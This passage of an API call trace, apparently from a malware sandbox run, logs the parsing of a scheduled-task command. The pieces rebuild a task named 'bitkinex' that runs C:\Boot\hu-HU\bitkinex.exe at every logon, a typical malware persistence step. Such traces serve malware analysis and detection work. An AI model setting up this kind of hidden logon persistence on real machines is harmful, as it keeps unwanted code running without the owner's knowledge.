(lpString="|tn|") returned 4 [0062.142] StrStrIW (lpFirst="|sc|", lpSrch="|tn|") returned 0x0 [0062.142] SetLastError (dwErrCode=0x490) [0062.142] lstrlenW (lpString="mo") returned 2 [0062.142] lstrlenW (lpString="mo") returned 2 [0062.142] _memicmp (_Buf1=0x18c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.142] lstrlenW (lpString="tn") returned 2 [0062.142] _memicmp (_Buf1=0x18c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.142] _vsnwprintf (in: _Buffer=0x18c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|mo|") returned 4 [0062.142] _vsnwprintf (in: _Buffer=0x18c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|tn|") returned 4 [0062.142] lstrlenW (lpString="|mo|") returned 4 [0062.142] lstrlenW (lpString="|tn|") returned 4 [0062.142] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0 [0062.143] SetLastError (dwErrCode=0x490) [0062.143] lstrlenW (lpString="d") returned 1 [0062.143] lstrlenW (lpString="d") returned 1 [0062.143] _memicmp (_Buf1=0x18c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.143] lstrlenW (lpString="tn") returned 2 [0062.143] _memicmp (_Buf1=0x18c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.143] _vsnwprintf (in: _Buffer=0x18c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|d|") returned 3 [0062.143] _vsnwprintf (in: _Buffer=0x18c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|tn|") returned 4 [0062.143] lstrlenW (lpString="|d|") returned 3 [0062.143] lstrlenW (lpString="|tn|") returned 4 [0062.143] SetLastError (dwErrCode=0x490) [0062.143] lstrlenW (lpString="m") returned 1 [0062.143] lstrlenW (lpString="m") returned 1 [0062.143] _memicmp (_Buf1=0x18c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.143] lstrlenW (lpString="tn") returned 2 [0062.143] _memicmp (_Buf1=0x18c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.143] _vsnwprintf (in: _Buffer=0x18c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|m|") returned 3 [0062.143] _vsnwprintf (in: _Buffer=0x18c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|tn|") returned 4 [0062.143] lstrlenW (lpString="|m|") returned 3 [0062.143] lstrlenW (lpString="|tn|") returned 4 [0062.144] SetLastError (dwErrCode=0x490) [0062.144] lstrlenW (lpString="i") returned 1 [0062.144] lstrlenW (lpString="i") returned 1 [0062.144] _memicmp (_Buf1=0x18c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.144] lstrlenW (lpString="tn") returned 2 [0062.144] _memicmp (_Buf1=0x18c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.144] _vsnwprintf (in: _Buffer=0x18c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|i|") returned 3 [0062.144] _vsnwprintf (in: _Buffer=0x18c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|tn|") returned 4 [0062.145] lstrlenW (lpString="|i|") returned 3 [0062.145] lstrlenW (lpString="|tn|") returned 4 [0062.145] SetLastError (dwErrCode=0x490) [0062.145] lstrlenW (lpString="tn") returned 2 [0062.145] lstrlenW (lpString="tn") returned 2 [0062.145] _memicmp (_Buf1=0x18c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.145] lstrlenW (lpString="tn") returned 2 [0062.145] _memicmp (_Buf1=0x18c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.145] _vsnwprintf (in: _Buffer=0x18c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|tn|") returned 4 [0062.145] _vsnwprintf (in: _Buffer=0x18c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|tn|") returned 4 [0062.145] lstrlenW (lpString="|tn|") returned 4 [0062.145] lstrlenW (lpString="|tn|") returned 4 [0062.145] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|" [0062.145] SetLastError (dwErrCode=0x0) [0062.145] SetLastError (dwErrCode=0x0) [0062.145] lstrlenW (lpString="bitkinex") returned 8 [0062.145] lstrlenW (lpString="-/") returned 2 [0062.145] StrChrIW (lpStart="-/", wMatch=0x62) returned 0x0 [0062.145] SetLastError (dwErrCode=0x490) [0062.145] SetLastError (dwErrCode=0x490) [0062.145] SetLastError (dwErrCode=0x0) [0062.145] lstrlenW (lpString="bitkinex") returned 8 [0062.145] StrChrIW (lpStart="bitkinex", wMatch=0x3a) returned 0x0 [0062.145] SetLastError (dwErrCode=0x490) [0062.145] SetLastError (dwErrCode=0x0) [0062.145] lstrlenW (lpString="bitkinex") returned 8 [0062.145] SetLastError (dwErrCode=0x0) [0062.146] SetLastError (dwErrCode=0x0) [0062.146] lstrlenW (lpString="/sc") returned 3 [0062.146] lstrlenW (lpString="-/") returned 2 [0062.146] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0062.146] lstrlenW (lpString="create") returned 6 [0062.146] lstrlenW (lpString="create") returned 6 [0062.146] _memicmp (_Buf1=0x18c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.146] lstrlenW (lpString="sc") returned 2 [0062.146] _memicmp (_Buf1=0x18c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.146] _vsnwprintf (in: _Buffer=0x18c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|create|") returned 8 [0062.146] _vsnwprintf (in: _Buffer=0x18c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|sc|") returned 4 [0062.146] lstrlenW (lpString="|create|") returned 8 [0062.146] lstrlenW (lpString="|sc|") returned 4 [0062.146] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0062.146] SetLastError (dwErrCode=0x490) [0062.146] lstrlenW (lpString="?") returned 1 [0062.146] lstrlenW (lpString="?") returned 1 [0062.146] _memicmp (_Buf1=0x18c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.146] lstrlenW (lpString="sc") returned 2 [0062.146] _memicmp (_Buf1=0x18c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.146] _vsnwprintf (in: _Buffer=0x18c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|?|") returned 3 [0062.146] _vsnwprintf (in: _Buffer=0x18c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|sc|") returned 4 [0062.146] lstrlenW (lpString="|?|") returned 3 [0062.146] lstrlenW (lpString="|sc|") returned 4 [0062.146] SetLastError (dwErrCode=0x490) [0062.146] lstrlenW (lpString="s") returned 1 [0062.146] lstrlenW (lpString="s") returned 1 [0062.146] _memicmp (_Buf1=0x18c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.146] lstrlenW (lpString="sc") returned 2 [0062.146] _memicmp (_Buf1=0x18c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.146] _vsnwprintf (in: _Buffer=0x18c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|s|") returned 3 [0062.147] _vsnwprintf (in: _Buffer=0x18c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|sc|") returned 4 [0062.147] lstrlenW (lpString="|s|") returned 3 [0062.147] lstrlenW (lpString="|sc|") returned 4 [0062.147] SetLastError (dwErrCode=0x490) [0062.147] lstrlenW (lpString="u") returned 1 [0062.147] lstrlenW (lpString="u") returned 1 [0062.147] _memicmp (_Buf1=0x18c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.147] lstrlenW (lpString="sc") returned 2 [0062.147] _memicmp (_Buf1=0x18c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.147] _vsnwprintf (in: _Buffer=0x18c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|u|") returned 3 [0062.147] _vsnwprintf (in: _Buffer=0x18c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|sc|") returned 4 [0062.147] lstrlenW (lpString="|u|") returned 3 [0062.147] lstrlenW (lpString="|sc|") returned 4 [0062.147] SetLastError (dwErrCode=0x490) [0062.147] lstrlenW (lpString="p") returned 1 [0062.147] lstrlenW (lpString="p") returned 1 [0062.147] _memicmp (_Buf1=0x18c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.147] lstrlenW (lpString="sc") returned 2 [0062.147] _memicmp (_Buf1=0x18c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.147] _vsnwprintf (in: _Buffer=0x18c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|p|") returned 3 [0062.147] _vsnwprintf (in: _Buffer=0x18c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|sc|") returned 4 [0062.147] lstrlenW (lpString="|p|") returned 3 [0062.147] lstrlenW (lpString="|sc|") returned 4 [0062.147] SetLastError (dwErrCode=0x490) [0062.147] lstrlenW (lpString="ru") returned 2 [0062.147] lstrlenW (lpString="ru") returned 2 [0062.147] _memicmp (_Buf1=0x18c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.147] lstrlenW (lpString="sc") returned 2 [0062.147] _memicmp (_Buf1=0x18c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.147] _vsnwprintf (in: _Buffer=0x18c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|ru|") returned 4 [0062.148] _vsnwprintf (in: _Buffer=0x18c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|sc|") returned 4 [0062.148] lstrlenW (lpString="|ru|") returned 4 [0062.148] lstrlenW (lpString="|sc|") returned 4 [0062.148] StrStrIW (lpFirst="|ru|", lpSrch="|sc|") returned 0x0 [0062.148] SetLastError (dwErrCode=0x490) [0062.148] lstrlenW (lpString="rp") returned 2 [0062.148] lstrlenW (lpString="rp") returned 2 [0062.148] _memicmp (_Buf1=0x18c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.148] lstrlenW (lpString="sc") returned 2 [0062.148] _memicmp (_Buf1=0x18c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.148] _vsnwprintf (in: _Buffer=0x18c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|rp|") returned 4 [0062.148] _vsnwprintf (in: _Buffer=0x18c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|sc|") returned 4 [0062.148] lstrlenW (lpString="|rp|") returned 4 [0062.148] lstrlenW (lpString="|sc|") returned 4 [0062.148] StrStrIW (lpFirst="|rp|", lpSrch="|sc|") returned 0x0 [0062.148] SetLastError (dwErrCode=0x490) [0062.148] lstrlenW (lpString="sc") returned 2 [0062.148] lstrlenW (lpString="sc") returned 2 [0062.148] _memicmp (_Buf1=0x18c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.148] lstrlenW (lpString="sc") returned 2 [0062.148] _memicmp (_Buf1=0x18c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.148] _vsnwprintf (in: _Buffer=0x18c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|sc|") returned 4 [0062.148] _vsnwprintf (in: _Buffer=0x18c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|sc|") returned 4 [0062.148] lstrlenW (lpString="|sc|") returned 4 [0062.148] lstrlenW (lpString="|sc|") returned 4 [0062.148] StrStrIW (lpFirst="|sc|", lpSrch="|sc|") returned="|sc|" [0062.148] SetLastError (dwErrCode=0x0) [0062.148] SetLastError (dwErrCode=0x0) [0062.148] lstrlenW (lpString="ONLOGON") returned 7 [0062.148] lstrlenW (lpString="-/") returned 2 [0062.148] StrChrIW (lpStart="-/", wMatch=0x4f) returned 0x0 [0062.148] SetLastError (dwErrCode=0x490) [0062.148] SetLastError (dwErrCode=0x490) [0062.149] SetLastError (dwErrCode=0x0) [0062.149] lstrlenW (lpString="ONLOGON") returned 7 [0062.149] StrChrIW (lpStart="ONLOGON", wMatch=0x3a) returned 0x0 [0062.149] SetLastError (dwErrCode=0x490) [0062.149] SetLastError (dwErrCode=0x0) [0062.149] GetProcessHeap () returned 0x170000 [0062.149] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x18) returned 0x18d660 [0062.149] _memicmp (_Buf1=0x18d660, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.149] lstrlenW (lpString="ONLOGON") returned 7 [0062.149] GetProcessHeap () returned 0x170000 [0062.149] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x10) returned 0x18d680 [0062.149] lstrlenW (lpString="ONLOGON") returned 7 [0062.149] lstrlenW (lpString=" \x09") returned 2 [0062.149] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0062.149] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0062.149] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0062.149] StrChrW (lpStart=" \x09", wMatch=0x4c) returned 0x0 [0062.149] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0062.149] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0062.149] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0062.149] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0062.149] GetLastError () returned 0x0 [0062.149] lstrlenW (lpString="ONLOGON") returned 7 [0062.149] lstrlenW (lpString="ONLOGON") returned 7 [0062.149] SetLastError (dwErrCode=0x0) [0062.149] SetLastError (dwErrCode=0x0) [0062.149] lstrlenW (lpString="/tr") returned 3 [0062.149] lstrlenW (lpString="-/") returned 2 [0062.149] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0062.149] lstrlenW (lpString="create") returned 6 [0062.149] lstrlenW (lpString="create") returned 6 [0062.149] _memicmp (_Buf1=0x18c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.149] lstrlenW (lpString="tr") returned 2 [0062.149] _memicmp (_Buf1=0x18c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.150] _vsnwprintf (in: _Buffer=0x18c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|create|") returned 8 [0062.150] _vsnwprintf (in: _Buffer=0x18c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|tr|") returned 4 [0062.150] lstrlenW (lpString="|create|") returned 8 [0062.150] lstrlenW (lpString="|tr|") returned 4 [0062.150] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0062.150] SetLastError (dwErrCode=0x490) [0062.150] lstrlenW (lpString="?") returned 1 [0062.150] lstrlenW (lpString="?") returned 1 [0062.150] _memicmp (_Buf1=0x18c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.150] lstrlenW (lpString="tr") returned 2 [0062.150] _memicmp (_Buf1=0x18c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.150] _vsnwprintf (in: _Buffer=0x18c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|?|") returned 3 [0062.150] _vsnwprintf (in: _Buffer=0x18c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|tr|") returned 4 [0062.150] lstrlenW (lpString="|?|") returned 3 [0062.150] lstrlenW (lpString="|tr|") returned 4 [0062.150] SetLastError (dwErrCode=0x490) [0062.150] lstrlenW (lpString="s") returned 1 [0062.150] lstrlenW (lpString="s") returned 1 [0062.150] _memicmp (_Buf1=0x18c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.150] lstrlenW (lpString="tr") returned 2 [0062.150] _memicmp (_Buf1=0x18c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.150] _vsnwprintf (in: _Buffer=0x18c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|s|") returned 3 [0062.150] _vsnwprintf (in: _Buffer=0x18c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|tr|") returned 4 [0062.150] lstrlenW (lpString="|s|") returned 3 [0062.150] lstrlenW (lpString="|tr|") returned 4 [0062.150] SetLastError (dwErrCode=0x490) [0062.150] lstrlenW (lpString="u") returned 1 [0062.150] lstrlenW (lpString="u") returned 1 [0062.150] _memicmp (_Buf1=0x18c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.151] lstrlenW (lpString="tr") returned 2 [0062.151] _memicmp (_Buf1=0x18c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.151] _vsnwprintf (in: _Buffer=0x18c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|u|") returned 3 [0062.151] _vsnwprintf (in: _Buffer=0x18c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|tr|") returned 4 [0062.151] lstrlenW (lpString="|u|") returned 3 [0062.151] lstrlenW (lpString="|tr|") returned 4 [0062.151] SetLastError (dwErrCode=0x490) [0062.151] lstrlenW (lpString="p") returned 1 [0062.151] lstrlenW (lpString="p") returned 1 [0062.151] _memicmp (_Buf1=0x18c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.151] lstrlenW (lpString="tr") returned 2 [0062.151] _memicmp (_Buf1=0x18c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.151] _vsnwprintf (in: _Buffer=0x18c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|p|") returned 3 [0062.151] _vsnwprintf (in: _Buffer=0x18c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|tr|") returned 4 [0062.151] lstrlenW (lpString="|p|") returned 3 [0062.151] lstrlenW (lpString="|tr|") returned 4 [0062.151] SetLastError (dwErrCode=0x490) [0062.151] lstrlenW (lpString="ru") returned 2 [0062.151] lstrlenW (lpString="ru") returned 2 [0062.151] _memicmp (_Buf1=0x18c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.151] lstrlenW (lpString="tr") returned 2 [0062.151] _memicmp (_Buf1=0x18c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.151] _vsnwprintf (in: _Buffer=0x18c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|ru|") returned 4 [0062.151] _vsnwprintf (in: _Buffer=0x18c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|tr|") returned 4 [0062.151] lstrlenW (lpString="|ru|") returned 4 [0062.151] lstrlenW (lpString="|tr|") returned 4 [0062.151] StrStrIW (lpFirst="|ru|", lpSrch="|tr|") returned 0x0 [0062.151] SetLastError (dwErrCode=0x490) [0062.151] lstrlenW (lpString="rp") returned 2 [0062.151] lstrlenW (lpString="rp") returned 2 [0062.152] _memicmp (_Buf1=0x18c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.152] lstrlenW (lpString="tr") returned 2 [0062.152] _memicmp (_Buf1=0x18c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.152] _vsnwprintf (in: _Buffer=0x18c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|rp|") returned 4 [0062.152] _vsnwprintf (in: _Buffer=0x18c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|tr|") returned 4 [0062.152] lstrlenW (lpString="|rp|") returned 4 [0062.152] lstrlenW (lpString="|tr|") returned 4 [0062.152] StrStrIW (lpFirst="|rp|", lpSrch="|tr|") returned 0x0 [0062.152] SetLastError (dwErrCode=0x490) [0062.152] lstrlenW (lpString="sc") returned 2 [0062.152] lstrlenW (lpString="sc") returned 2 [0062.152] _memicmp (_Buf1=0x18c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.152] lstrlenW (lpString="tr") returned 2 [0062.152] _memicmp (_Buf1=0x18c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.152] _vsnwprintf (in: _Buffer=0x18c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|sc|") returned 4 [0062.152] _vsnwprintf (in: _Buffer=0x18c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|tr|") returned 4 [0062.152] lstrlenW (lpString="|sc|") returned 4 [0062.152] lstrlenW (lpString="|tr|") returned 4 [0062.152] StrStrIW (lpFirst="|sc|", lpSrch="|tr|") returned 0x0 [0062.152] SetLastError (dwErrCode=0x490) [0062.152] lstrlenW (lpString="mo") returned 2 [0062.152] lstrlenW (lpString="mo") returned 2 [0062.152] _memicmp (_Buf1=0x18c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.152] lstrlenW (lpString="tr") returned 2 [0062.152] _memicmp (_Buf1=0x18c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.152] _vsnwprintf (in: _Buffer=0x18c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|mo|") returned 4 [0062.152] _vsnwprintf (in: _Buffer=0x18c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|tr|") returned 4 [0062.152] lstrlenW (lpString="|mo|") returned 4 [0062.152] lstrlenW (lpString="|tr|") returned 4 [0062.152] StrStrIW (lpFirst="|mo|", lpSrch="|tr|") returned 0x0 [0062.152] SetLastError (dwErrCode=0x490) [0062.153] lstrlenW (lpString="d") returned 1 [0062.153] lstrlenW (lpString="d") returned 1 [0062.153] _memicmp (_Buf1=0x18c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.153] lstrlenW (lpString="tr") returned 2 [0062.153] _memicmp (_Buf1=0x18c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.153] _vsnwprintf (in: _Buffer=0x18c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|d|") returned 3 [0062.153] _vsnwprintf (in: _Buffer=0x18c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|tr|") returned 4 [0062.153] lstrlenW (lpString="|d|") returned 3 [0062.153] lstrlenW (lpString="|tr|") returned 4 [0062.153] SetLastError (dwErrCode=0x490) [0062.153] lstrlenW (lpString="m") returned 1 [0062.153] lstrlenW (lpString="m") returned 1 [0062.153] _memicmp (_Buf1=0x18c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.153] lstrlenW (lpString="tr") returned 2 [0062.153] _memicmp (_Buf1=0x18c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.153] _vsnwprintf (in: _Buffer=0x18c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|m|") returned 3 [0062.153] _vsnwprintf (in: _Buffer=0x18c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|tr|") returned 4 [0062.153] lstrlenW (lpString="|m|") returned 3 [0062.153] lstrlenW (lpString="|tr|") returned 4 [0062.153] SetLastError (dwErrCode=0x490) [0062.153] lstrlenW (lpString="i") returned 1 [0062.153] lstrlenW (lpString="i") returned 1 [0062.153] _memicmp (_Buf1=0x18c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.153] lstrlenW (lpString="tr") returned 2 [0062.153] _memicmp (_Buf1=0x18c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.153] _vsnwprintf (in: _Buffer=0x18c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|i|") returned 3 [0062.153] _vsnwprintf (in: _Buffer=0x18c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|tr|") returned 4 [0062.153] lstrlenW (lpString="|i|") returned 3 [0062.153] lstrlenW (lpString="|tr|") returned 4 [0062.153] SetLastError (dwErrCode=0x490) [0062.153] lstrlenW (lpString="tn") returned 2 [0062.153] lstrlenW (lpString="tn") returned 2 [0062.154] _memicmp (_Buf1=0x18c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.154] lstrlenW (lpString="tr") returned 2 [0062.154] _memicmp (_Buf1=0x18c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.154] _vsnwprintf (in: _Buffer=0x18c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|tn|") returned 4 [0062.154] _vsnwprintf (in: _Buffer=0x18c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|tr|") returned 4 [0062.154] lstrlenW (lpString="|tn|") returned 4 [0062.154] lstrlenW (lpString="|tr|") returned 4 [0062.154] StrStrIW (lpFirst="|tn|", lpSrch="|tr|") returned 0x0 [0062.154] SetLastError (dwErrCode=0x490) [0062.154] lstrlenW (lpString="tr") returned 2 [0062.154] lstrlenW (lpString="tr") returned 2 [0062.154] _memicmp (_Buf1=0x18c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.154] lstrlenW (lpString="tr") returned 2 [0062.154] _memicmp (_Buf1=0x18c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.154] _vsnwprintf (in: _Buffer=0x18c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|tr|") returned 4 [0062.154] _vsnwprintf (in: _Buffer=0x18c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|tr|") returned 4 [0062.154] lstrlenW (lpString="|tr|") returned 4 [0062.154] lstrlenW (lpString="|tr|") returned 4 [0062.154] StrStrIW (lpFirst="|tr|", lpSrch="|tr|") returned="|tr|" [0062.154] SetLastError (dwErrCode=0x0) [0062.154] SetLastError (dwErrCode=0x0) [0062.154] lstrlenW (lpString="'C:\\Boot\\hu-HU\\bitkinex.exe'") returned 28 [0062.154] lstrlenW (lpString="-/") returned 2 [0062.154] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0062.154] SetLastError (dwErrCode=0x490) [0062.154] SetLastError (dwErrCode=0x490) [0062.154] SetLastError (dwErrCode=0x0) [0062.154] lstrlenW (lpString="'C:\\Boot\\hu-HU\\bitkinex.exe'") returned 28 [0062.154] StrChrIW (lpStart="'C:\\Boot\\hu-HU\\bitkinex.exe'", wMatch=0x3a) returned=":\\Boot\\hu-HU\\bitkinex.exe'" [0062.154] lstrlenW (lpString="'C:\\Boot\\hu-HU\\bitkinex.exe'") returned 28 [0062.154] _memicmp (_Buf1=0x18c3f0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.155] _memicmp (_Buf1=0x18d600, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.155] SetLastError (dwErrCode=0x7a) [0062.155] SetLastError (dwErrCode=0x0) [0062.155] SetLastError (dwErrCode=0x0) [0062.155] lstrlenW (lpString="'C") returned 2 [0062.155] lstrlenW (lpString="-/") returned 2 [0062.155] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0062.155] SetLastError (dwErrCode=0x490) [0062.155] SetLastError (dwErrCode=0x490) [0062.155] SetLastError (dwErrCode=0x0) [0062.155] _memicmp (_Buf1=0x18d660, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.155] lstrlenW (lpString="'C:\\Boot\\hu-HU\\bitkinex.exe'") returned 28 [0062.155] GetProcessHeap () returned 0x170000 [0062.155] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18d680) returned 1 [0062.155] GetProcessHeap () returned 0x170000 [0062.155] RtlReAllocateHeap (Heap=0x170000, Flags=0xc, Ptr=0x18d680, Size=0x3a) returned 0x189480 [0062.155] lstrlenW (lpString="'C:\\Boot\\hu-HU\\bitkinex.exe'") returned 28 [0062.155] lstrlenW (lpString=" \x09") returned 2 [0062.155] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0062.155] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0062.155] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0062.155] StrChrW (lpStart=" \x09", wMatch=0x3a) returned 0x0 [0062.155] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0062.155] StrChrW (lpStart=" \x09", wMatch=0x42) returned 0x0 [0062.155] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0062.155] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0062.155] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0062.155] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0062.155] StrChrW (lpStart=" \x09", wMatch=0x68) returned 0x0 [0062.155] StrChrW (lpStart=" \x09", wMatch=0x75) returned 0x0 [0062.155] StrChrW (lpStart=" \x09", wMatch=0x2d) returned 0x0 [0062.155] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0062.155] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0062.156] StrChrW 